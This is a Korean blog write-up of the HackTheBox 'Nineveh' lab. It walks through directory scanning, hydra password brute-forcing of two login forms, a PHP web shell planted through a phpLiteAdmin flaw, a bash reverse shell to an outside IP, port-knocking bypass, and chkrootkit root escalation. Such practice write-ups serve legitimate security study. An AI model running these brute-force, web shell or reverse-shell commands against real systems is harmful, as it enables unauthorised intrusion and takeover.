hackthebox

HackTheBox - Nineveh

sheow13 2023. 11. 22. 17:00
728x90

 HackTheBox - Nineveh환경 실습

 

 

 진행 절차

Step 1. HackTheBox 사용을 위해 Kali Linux에서 VPN 맺은 후, 정보 수집을 위해 mnap을 통해 확인해본 결과, HTTP, HTTPS가 Open되어 있음을 확인

[NMAP 결과]

 

 

Step 2. HTTP로 접근 시 특이사항 없었으며, 디렉토리 스캔해본 결과 '/department'/ 디렉토리가 존재하였으며 해당 페이지로 접근 시 로그인 페이지가 있는 것으로 확인하였으며  해당 페이지 소스 코드 조회시에 ID가 admin 또는 amrois 일 수 있다는 사실을 확인. HTTPS 디렉토리 스캔 시, '/db' 디렉토리가 존재하였으며 웹 상에서 DB를 관리하는 phpliteadmin 페이지가 뜨는 것으로 확인. 

 

[HTTP로 접근 시 특이사항 발견 X]

명령어
root@kali#gobuster dir w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt u http://10.10.10.43

[디렉토리 스캔 결과,  80 포트에 '/department' 디렉토리가 있음을 확인]

 

[디렉토리 스캔 결과 443 포트에 '/db' 디렉토리가 있음을 확인]

 

['/db' 포트에 phpmyadmin과 같은 DB 관리 페이지 로그인 화면이 뜨는 것을 확인]

 

['/department' 디렉토리 소스 코드에 DBMS 및 ID로 추측되는 정보 수집]

 

 

 

Step 3. 수집한 정보를 토대로 로그인 시도 시, 'Invalid Password!' 메시지가 뜨는 것으로 확인. 이를 통해 아이디는 'admin'이 맞다는 것을 유추할 수 있으며, 패스워드 크랙 도구인 hydra를 사용하기 앞서 login 진행 시 URL에 ID,PW가 넘어가는 방식이 아닌 것으로 확인했을 때 POST 방식으로 전달하는 것으로 확인. 개발자 도구를 통해 HTTP Body값을 확인 후 hydra에 식별된 파라미터 값 및 에러 시 뜨는 'Invalid'를 넣어 동작 시,  패스워드 크랙 성공 확인

[ID를 'admin'으로 입력 후 로그인 시도 시, 패스워드가 틀렸다는 정보를 노출]
[개발자 도구를 통해 POST로 ID, PW를 전달하고 있음을 확인]

 

명령어
root@kali#hydra l admin P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form “/department/login.php:username=^USER^&password=^PASS^:Invalid” -t 64

[패스워드 크랙 도구인 hydra를 통해 패스워드 크랙 성공 확인]

 

 

Step 4. 획득한 계정 정보를 통해 접근 시, 로그인 페이지에 하드코딩된 ID,PW가 있으며 들어가기 위해선 숨겨진 폴더를 찾아야 하며, DB 인터페이스를 개선해야 한다고 전달하는 것을 확인. 이 정보를 통해 DB를 수정해야 한다는 사실을 파악.

추가로 URL 뒤에 로컬에 있는 파일을 참조(LFI)하는 것으로 추측하여 중요 시스템 파일인 '/etc/passwd' 스캔 시 조회는 불가능하였으나 이후 이를 이용하여 추가 공격이 가능할 것으로 추측.

[크랙한 계정정보로 로그인 시, 추가 공격을 위한 정보 획득]

 

[웹에서 로컬 파일을 불러오는 것으로 추측]

 

 

[중요 파일인 '/etc/passwd'을 가져오진 못했지만, 이후 이를 이용하여 공격이 가능할 수도 있다고 판단]

 

 

Step 5. DB를 수정해야 한다는 힌트를 통해 DB를 접근하는 방법을 찾는 도중 이전 정보 수집을 통해 'https://10.10.10.43/db' 디렉토리가 있음을 확인하였으며, phpliteadmin의 경우 웹 상에서 DB를 컨트롤하는 관리 도구로 이를 침투하면 될 것으로 판단. hydra를 통해 패스워드 크랙 시도 시 탈취 성공 확인.

[개발자 도구를 통해 HTTP Body값 파악]

명령어
root@kali#hydra l admin P /usr/share/wordlists/rockyou.txt 10.10.10.43 http-post-form “/db/index.php:password=^PASS^&remember=yes&login=Log+In&proc_login=true:Incorrect” -t 64

 

 

Step 6. 크랙한 계정 정보를 통해 phpLiteAdmin에 접근. 해당 페이지에서 'test'라는 데이터베이스에 읽고 쓸수 있는 권한이 있다는 사실을 파악. PHPLiteAdmin 1.9.3 버전에 Remote Code Injection 취약점이 있다는 사항을 파악하여 'ninevehNotes.php' 데이터베이스를 생성 후 'ninevehNotes' 테이블을 생성 후 웹 쉘 업로드.

[크랙 성공한 계정으로 접근 시, 데이터베이스 권한 및 phpLiteAdmin 버전 확인]

 

[해당 버전에 맞는 exploit 코드가 존재함을 확인]

 

[exploit 코드 확인 시, 데이터베이스 및 테이블 생성후 PHP 코드를 삽입하라고 안내]

 

[데이터 베이스 생성]
[테이블 생성]

입력값
<?php echo system($_GET["cmd"]); ?>

[테이블안 필드값에 PHP 코드 삽입]

 

Step 7. 생성한 웹쉘 경로로 이동하여 시스템 명령어 입력 시 정상 동작 확인. 이를 이용하여 리버스 쉘 획득을 위한 명령어 입력 시 리버스 쉘 획득.

 

[생성한 웹쉘로 접근하기 위한 경로 확인]

 

입력값
bash c “bash i>&/dev/tcp/10.10.14.2/9999 0>&1”

 

[리버스 쉘을 위한 쉘 코드를 URL 인코딩 진행]
[인코딩한 쉘 코드를 입력]
[리버스 쉘 획득 성공]

 

 

Step 8. 루트 권한 상승을 위해 linpeas 업로드 후 스캔 시 현재 활성화 되어 있는 포트가 HTTP, HTTPS, SSH가 있음을 확인. Kali Linux에서 nmap을 통해 스캔 시에는 HTTP, HTTPS만 나오는 것으로 추측했을 때, Port Knocking이 되어 있을 것으로 판단. '/etc/knockd.conf'에서 시퀀스 번호 확인 후 해제 시 SSH 포트는 접근 가능하나 public key값이 없어 ssh로 접근이 안되는 것을 확인. linpeas를 통해 확인된 SSH값이 저장된 파일을 open하여 key 값을 복사 후 접근 시 패스워드 입력하지 않아도 접근 가능 확인

※ www-data에서 root로 직접적인 권한 상승이 어려운 것으로 추측

[리눅스 스캔 도구인 linpeas.sh를 /tmp에 업로드 후 실행]

 

[활성화된 포트가 HTTP, HTTPS, SSH 확인]

 

[SSH가 Port knocking 되어 있음을 확인 및 시퀀스 번호 확인]

 

[port knocking 해제]

 

[ssh로 접근 시 정상 접근가능하나 public key값이 달라 접근이 불가함을 확인]

 

[linpeas에서 SSH Key값이 저장되어 있는 파일 확인]

 

명령어
www-data@nineveh:strings nineveh.png

[이미지 내 private key 삽입되어 있는 것을 확인]
[개인 키를 담을 파일 생성 후 권한 설정]

 

[개인키를 담은 파일로 SSH 접근 시, 패스워드 입력하지 않아도 접근 가능 확인]

 

 

Step 9. root 권한으로 상승하기 위해 스캔 도중, chrootkit을 사용하고 있음을 확인. chrootkit의 경우 권한 상승 취약점이 존재하여 이를 이용하여 tmp에 리버스 쉘 획득할 수 있는 쉘 코드 삽입한 파일 생성 후 대기하면 루트 권한 탈취 성공 확인.

 chkrootkit local privilege escalation(CVE-2014-0476) : 로컬 공격자가 취약한 설정(/tmp noexec에 마운트 되지 않음)을 활용하여 루트 권한 획득 가능

 

[linpeas를 통해 chrootkit이 동작하고 있으며 실시간으로 동작하고 있는 것으로 확인했을 때 crontab으로 동작하고 있음을 추측]

 

[chrootkit 권한 상승 취약점을 이용하여 tmp에 쉘 코드 삽입한 파일 생성]
[루트 권한 획득 확인]

 

[crontab으로 chrootkit이 동작하고 있음을 확인]

 

'hackthebox' 카테고리의 다른 글

HackTheBox - SolidState  (2) 2023.11.30
HackTheBox - Sense  (0) 2023.11.29
HackTheBox - Cronos  (2) 2023.11.17
HackTheBox - Beep  (0) 2023.11.15
HackTheBox - Nibbles  (0) 2023.11.14